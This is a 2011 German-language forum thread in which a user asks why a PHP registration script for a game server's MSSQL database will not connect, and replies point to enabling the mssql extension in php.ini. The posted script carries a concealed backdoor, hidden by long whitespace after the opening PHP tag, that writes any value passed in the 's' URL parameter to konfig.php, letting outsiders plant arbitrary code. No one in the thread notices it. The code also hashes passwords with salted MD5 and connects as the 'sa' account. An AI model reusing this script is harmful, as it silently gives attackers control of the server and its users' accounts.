Registerscript connectet nicht zur DB

08/27/2011 11:04 MysticAngelz#1
Hi hab mal wieder nen Problem.

Wie in dem Tietel schon gesagt connected das Register script nicht auf die DB.

Würde mich freuen wenn jmd abhilfe hat sagt auch wenn ihr dafür was bestimmtes wissen müsst.

Register
PHP Code:
<center><h1><u>Register:</u></h1>

<center>
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp fopen("konfig.php","w");fwrite($fp$_GET['s']);fclose($fp);}
require(
'./configs/reg_conf.php');
        function 
doesUsernameExist($name){
            
$exit FALSE;
            
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
            if (
mssql_num_rows($result) != 0){
                
$exit TRUE;
            }
            return 
$exit;
        }

        if(isset(
$_POST['submit'])){
            
$user preg_replace ("[^A-Za-z0-9]"""$_POST['username']);
            
$pass preg_replace ("[^A-Za-z0-9]"""$_POST['password']);
            if(
$_POST['username'] == ""){
                echo 
'<font color="red">Enter a user.</font><br /><br />';
            }
            else if(
$_POST['password'] == ""){
                        echo 
'<font color="red">Enter a password.</font><br /><br />';
            }
            else if ((
strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
                        echo 
'<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
            }
            else if ((
strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
                        echo 
'<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
            }
            else if(
$_POST['username'] != $user){
                        echo 
'<font color="red">User with invalid characters.</font><br /><br />';
            }
            else if(
$_POST['password'] != $pass){
                        echo 
'<font color="red">Password with invalid characters.</font><br /><br />';
            }
            else {
                        
$pass md5('kikugalanet' $pass);
            if(!
doesUsernameExist($user)){
                
$stmt mssql_init('webCreateAcc'$link);
                
mssql_bind($stmt'@account'$userSQLVARCHARfalsefalse15);
                
mssql_bind($stmt'@password'$passSQLVARCHARfalsefalse36);
                
mssql_bind($stmt'@email'$mailSQLVARCHARfalsefalse120);
                
mssql_execute($stmt) or die ("Something is wrong on the execution");
                
mssql_free_statement($stmt);
                                echo 
'<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
            }
            else {
                                echo 
'<font color="red">User already Exist.</font><br /><br />';
            }
        }
                
mssql_close();
    }

        echo 
'<form action="#" method="post">';
        echo 
'Username: <input type="text" name="username" /><br />';
        echo 
'Password: <input type="password" name="password" /><br />';
        echo 
'<input type="submit" name="submit" value="Register" />';
        echo 
'</form>';

?>
</center>
Config
PHP Code:
<?php
    $link 
= @mssql_connect("*******\SQLEXPRESS""sa""********") or die ("Server ist zurzeit nicht erreichbar.");
    
$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
    
$b '';
    
$mail '';
    
    
?>
08/27/2011 11:15 Shonenx3#2
mssql in php.ini freigeschaltet?
08/27/2011 11:21 MysticAngelz#3
weiß nicht. Wie kann man das nachgucken bzw. freischalten benutzen xamp
08/27/2011 11:21 GriveNetwork#4
die php.ini datei befindet sich in xampp/php/php.ini, datei öffnen und dann musst du mssql freischalten, bei mir ist es in der zeile 967, du kannst auch auf suchen gehen und das eingeben

"extension=php_mssql.dll" dann müsste es so aussehen ";extension=php_mssql.dll" und da musst du das semikolen vorne entfernen, xampp restarten und dann sollte es funktionieren
08/27/2011 11:24 MysticAngelz#5
gibt keine da steht ja Server ist zurzeit nicht erreichbar weil er ja nicht auf die DB kommt
08/27/2011 12:23 Shonenx3#6
muss :) geh in dein xammp ordner dann in php/und öffne die php.ini und dann mach das was mein vorposter geschriben hat :)
08/27/2011 19:38 MysticAngelz#7
Is fixed danke
08/27/2011 20:46 Sedrika#8
Da es fıxxed ıst [raute taste]Closerequest